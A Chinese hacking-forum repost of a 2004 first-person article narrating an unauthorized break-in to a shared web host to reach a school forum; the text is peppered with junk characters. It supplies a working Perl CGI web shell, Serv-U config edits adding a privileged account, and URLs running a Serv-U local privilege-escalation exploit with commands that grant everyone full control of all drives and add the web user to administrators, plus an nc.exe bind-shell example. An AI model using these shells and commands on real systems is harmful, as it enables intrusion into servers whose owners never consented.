中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击 . @. a" ]7 b) b) D  ^0 S
本文作者:angel. Y1 {. q3 T; C5 `$ b
文章性质:原创) ]/ M; R  d2 p- ?4 L* a+ X
发布日期:2004-11-09 & |- D; y3 J# Q
注意:6 }- }4 w0 }+ j1 E4 _
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。+ m9 A7 j1 \0 t! w
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。8 d/ q3 \8 {3 I5 }7 [+ X

9 @% _/ C3 I3 C% r* w" K$ ~0 g3 W  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 5 k% R, U2 b; j: R: y8 T
4 U) T' D) \( x, i( x
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
' `; w7 v/ J8 \! e8 @8 }4 f  _
! X- M8 [4 s" ^, X& N6 C  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 $ W+ I) [$ @, X% ?6 f! _. t6 I# b
9 Q4 o; a/ i" k& N' o7 ^/ Y
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
4 [& ?# d  }3 l# C. r$ x% e# B' d' D7 {( ~
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。   |- x7 x5 [6 D* I. m

7 K6 u5 j: l+ v( F) _: u% _: w  没有目的的跳转目录着…… ) g, V) a' Y% W9 K8 R# w# p
) m5 U4 L6 Z9 ^/ B4 C
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… , t5 |8 v  A6 P- e& a) X4 X* F

( j0 L' F6 V* E, X  结束了吗?不,我试着 FTP 一下: % b% v) f2 j1 ^5 o3 ~7 F4 ^
0 \& b6 z: H; h! {: _  g
Microsoft Windows 2000 [Version 5.00.2195]
7 S2 g5 L4 \& v% ?) E(C) 版权所有 1985-2000 Microsoft Corp.
5 W  U$ t6 F6 _8 {
( `. V6 G8 ^9 o8 ZC:\Documents and Settings\Administrator>ftp www.school.com
" G% i' d' T6 f1 E0 fConnected to www. school.com. 0 f0 s& ~+ d4 n" }8 `
220 Welcome to FTP Server... " N7 ?) [1 P( S& f: x
User (www.bjtrq.com:(none)):
! `2 N. D! x  E  C* m331 User name okay, need password. ( i% K( a# g4 X$ W8 B: b% ?
Password: * Q- P+ V2 a! i- ], w% `
530 Not logged in.
  Z: y# ]4 x0 \& c1 ?) P6 T" ULogin failed.   G. K* f. I" B% M8 |# Y
ftp> bye
6 E, z  e! P' k221 Goodbye!
% z& i1 [/ D% ^1 h& @ $ E' _! q* f3 a, Z" T. T  b
2 q, {8 r/ r& w$ D  U! B' `: U
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
( I, u3 g4 F8 y( M5 O
+ p8 m! [: T5 V5 `  a5 S  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
/ |6 w+ ^& O$ S( O
7 ^& t1 \- b- i& t2 ?( |- U" iApplication Data
1 X7 M+ f* u$ o+ ], d8 QDocuments( h4 w$ Q; e' D  Z, O+ l
DRM
7 s) `. o- k+ N! x! [5 @Favorites- x6 A* L- t0 |
Templates
, G2 G+ ]5 S! l4 c$ R「开始」菜单' L7 @$ @& _7 g7 R
桌面+ A& G+ ^5 ]. K) S8 i

2 a6 w% d0 i; z
8 P) s3 ]( d# H$ }  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 3 ?  m6 s4 T# `1 B

3 ^4 n4 m! y  M# @( PActiveState ActivePerl 5.8( v: U0 M5 G9 i- _7 Y3 {/ p8 o' d
Administrative Tools
3 y" w) g: v/ m3 l& k) g2 ^/ ~" PDeerfield.com7 u; A% K* [( P0 E1 J! r3 I4 V) t
DTemp
' P) Z/ t: \5 }0 k1 eIPSentry, B  T* f( B5 `7 O  o# ^# p7 f& S
MBM 5
8 W7 A; _" x8 ?' }8 z5 y) PNetMeter
- }( C( w0 a- }4 f+ t6 eNetwork ICE/ u# v$ s* i8 R# h: ~
Persits Software AspEmail& v' Z# z4 V, a! g) ?/ _
Persits Software AspJpeg
! t8 E+ E7 e  q  @- L- GServ-U FTP Server, ?/ I3 S9 O5 i/ D; }; j1 L
Symantec Client Security% n/ U) X( N3 b& b
Windows 优化大师( z5 K: j  J4 q1 S5 z* q& R  m
WinRAR  C8 R- N' T: R3 V
启动
# K) A$ L, r( h管理工具7 m0 @& z! H4 h( f' t( D) Y9 L* C+ [
附件
. ~* L2 V+ z/ } 3 A5 D" N$ j! n+ y+ a
7 V( n' |& [" r/ m2 ?0 S
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 1 p! N& e4 P3 e, @8 ]
' M1 V+ m1 x. z' P/ C, s  u
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
+ A; N' X; ~( h' x5 L. o6 c0 V, ~- G9 V2 S5 @/ ?4 @
User281=angel|1|0 5 a0 F5 P: L. O
( X# i' r+ h2 J& E1 l5 f# y
' v7 g4 V3 C: J) V
  然后加上 ( B% a, G5 B. y

' a  R  ^0 B3 d  H) h+ ?[USER=angel|1], C+ K8 L8 {6 Q) M6 S. q1 j+ A! K
Password=ng98F85379EA68DBF97BAADCA99B69B805) @, Q& ]: W+ h
HomeDir=D:\websites) ~8 g) e0 Y8 T6 M9 M% q, n& k
RelPaths=1
# p+ i& [0 Q$ R% z; L! rTimeOut=6009 O9 v: c2 c4 I6 v* J! T
Maintenance=System/ @# @0 S& \: y
Access1=D:\websites|RWAMELCDP
0 M" X7 h* V' ?% CSKEYValues=. d; X. `/ F* Q3 ]7 G% ?2 b+ J

  Y8 N8 N% ]4 v. o% W
) _  O: w- P2 j% ?6 f3 f  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
7 N) k" V1 r3 L% Q' T: C% y6 x8 P
) e- t8 c- T* s" U: w  Z" y- |  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 2 A) @+ X8 y/ f2 ?

5 c2 X% D* ?4 H8 ^4 t$ p  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
: k; q7 `) ?1 z5 ?! h4 d' ?. c9 ^4 I5 E1 d
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 5 A$ Z" n2 b1 Y2 K

1 R6 _; E! Q* V+ n) W0 ]#!/usr/bin/perl
2 V  Q4 p: r! z/ \binmode(STDOUT);
; r7 X3 j9 O; t3 g8 ^) Psyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);) Y6 Z' T) {' y3 o+ a
$_ = $ENV{QUERY_STRING};
0 [  k  `9 v" a& N$ K7 @s/%20/ /ig;
! u  x8 }" z# u8 t7 B6 ds/%2f/\//ig;3 x& E# i: x* e! N' d
$execthis = $_;
. U' M7 h# _; ]syswrite(STDOUT, "<HTML><PRE>\r\n", 13);/ y5 W1 Z. z  z3 q- X# R
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";/ _5 c; E& o+ T) p9 q  ^
system($execthis);3 ?' e4 u, G9 S' o
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);: N/ H( r& D+ y) l! H
close(STDERR);" I5 ?4 c; N" h, R7 @/ L
close(STDOUT);
3 M- [7 G6 m7 u2 c; \( aexit;
+ c6 _& r+ n, p/ y7 I
4 ^, p9 e/ D/ ^' F
& n! A. X% O3 |4 o  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
( J2 D1 U5 R1 j. }" I% h3 v7 g/ D% ]8 v! A5 f. P
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ) q% b2 a* M- C) p3 Y" o/ @6 a! H  R
# B% e6 n/ M0 d# \5 _4 r
http://anyhost//cmd.pl?d:\user\bin\su.exe 1 R; B6 n0 o, O: s' G5 \

9 `/ o8 A# b% A* y3 j( T* R! V% y9 U; o  Q9 d$ J
  返回:
6 R! m9 m7 ~3 u: e" A9 Z+ B
! t- H! K1 V+ m; wServ-u >3.x Local Exploit by xiaolu
( Y  k) X' L. _8 v2 l; }' b  i/ \/ I6 J9 I  {! Y; d
USAGE: serv-u.exe "command" 2 u' H8 ~" Z: k# J/ k3 i
5 f* N) \/ j( S7 H  ]8 t1 j8 L; |
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
( k: O1 @( W7 A; M # H0 m  z4 f& A- T- F# @" \. Z

/ w2 f* ~2 i( t% F7 N8 Z  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
! }2 ]2 p0 G# D7 b( ~& Y9 M" F0 e7 u# d
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
/ F6 Y, O8 |7 S2 O% G$ X$ h3 ~0 ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
: u2 w4 E+ D1 d0 f) [1 ^7 \: F$ g7 @0 M2 Z# b* C' r$ e: d
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
# A& \$ F. c: K0 j) |1 G
* Y% {8 c$ X1 L7 H8 J0 _$ h6 z4 zhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" : i: e& t; p" {( D2 F3 v! j) |

1 u! F% S& f2 ~" V5 h0 ^  E" @: @1 k- w5 n2 t' i6 G
  返回下面的信息,就表示成功了!!!
* z5 u7 y0 a% W& {  s
* Y! O' g) y2 L6 {Serv-u >3.x Local Exploit by xiaolu ! f- P, x+ u/ i; C$ M  I
' _: i4 X# c. H. d" r' w6 s
<220 Serv-U FTP Server v5.2 for WinSock ready...
% g6 v) o+ ?7 v  \) E' }1 y* [/ V! M( \, Z0 O
>USER LocalAdministrator ; w3 J/ r7 V8 S# U
: c6 U; Y* B  V( V/ t0 q
<331 User name okay, need password.
# h, J2 x) k2 L' X1 Q  m
, n9 L( l9 i0 Y******************************************************
. z7 P% u4 ?+ L& K8 V
" q( E+ q! t( q/ ]>PASS #l@$ak#.lk;0@P
: \: Z5 k6 X6 r- X9 ^2 s+ h( a& _/ \- D6 T
<230 User logged in, proceed. , M8 {! Y1 r! v! ~+ v
+ B% N/ L/ F( N7 H$ K2 r
******************************************************
8 q% r# ^: f+ C2 c0 z8 d/ \5 l3 ^1 E. u; l" g$ c  K3 j6 N
>SITE MAINTENANCE
: P/ y3 y0 M$ c  q' U' q$ ?( x) r
****************************************************** $ U0 Z  M0 x' c6 v

$ a3 k3 ]7 W9 e3 q2 y5 x- ?/ R( |[+] Creating New Domain... " ^6 B( _8 Z) c8 s
/ c+ N! m! N( g0 r2 [" }
<200-DomainID=2
4 }- F& ~' {- N) [  V; T; T- N
( g2 m7 ~* O. n) }  ]6 [$ Y& u4 G+ J<220 Domain settings saved
3 k$ Q/ [% C; A6 ?+ @2 f$ w& A, r; j" }1 ]; `/ n, w9 ]
******************************************************
- E7 }- Q. W7 |+ P  I! d; C: p( Q0 x# j2 `0 J' L
[+] Domain xl:2 Created
8 B$ z5 y4 N  P, S0 m5 X
0 C$ x0 k+ h, Y& L7 p2 Y[+] Creating Evil User
* w4 `. y; n" G' s, Z$ E6 C5 u, n! }+ f1 _
<200-User=xl
/ C2 k+ c/ r  ^* E1 n1 g8 w7 N1 I$ g1 w# T! p( k) H4 b+ \9 ~8 ^/ Q
200 User settings saved ! }1 E( J2 A7 n  J: y; n

' [( ?) ~' Z0 q2 v- Q" C****************************************************** 7 F4 }) K. i" s6 \! q

+ b5 F. E$ z* x3 `[+] Now Exploiting...
6 }0 E5 S7 [. s7 o' {' p( h4 [' R* M! e) x2 y8 J
>USER xl
1 ^" q, ]4 x3 \5 s* E( A% x: h5 Y3 Z+ Z  g" Q; h
<331 User name okay, need password. % d! x- \- i% }% [" }: w$ a3 |7 [/ t

4 d$ ~& d0 k9 u. x******************************************************
$ b( a$ c1 ?% a( I0 [2 Z* {
# f) K, U& F+ i1 B% f$ l: K>PASS 111111
7 T6 ~/ r/ E  W5 O4 E: V
- V8 S; p5 ~$ U<230 User logged in, proceed. % w5 f4 n3 l# j/ ]6 G

6 z6 S0 L1 `  c6 M******************************************************
2 Y8 h- A1 s$ ?# Y: p
9 z# K) X( M  e2 ?, k) \( d1 v[+] Now Executing: cacls.exe c: /E /T /G everyone:F
2 H2 [$ F: B* y% w8 u4 k& q) ?. x8 N- Q
<220 Domain deleted
! }8 f- b) r$ l2 }  z, T( {# ]" b( a% I9 t% X* T+ q
******************************************************
. V' k4 J7 j6 h  d1 T
4 k( Q% g7 n5 j6 l7 b3 v2 \8 K/ ]4 m8 u7 y
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
' o- m) u2 X2 J  ~& P* P( I' ]5 N; S. R7 i, r# Q
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" + C& w! e8 h0 R" P

9 z8 E! _( o# h4 e* P% t7 j$ f5 h( G5 C. Y% P
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 ( q# |* W4 M! y  v* k7 Y7 P) g

/ V" K9 |& J# x- w  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
6 H! E% c% A4 P; ^7 @( g9 n# _ 4 B0 ?: H1 i% D; J) i& f0 H
  
5 `5 m4 \1 s- u5 P




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2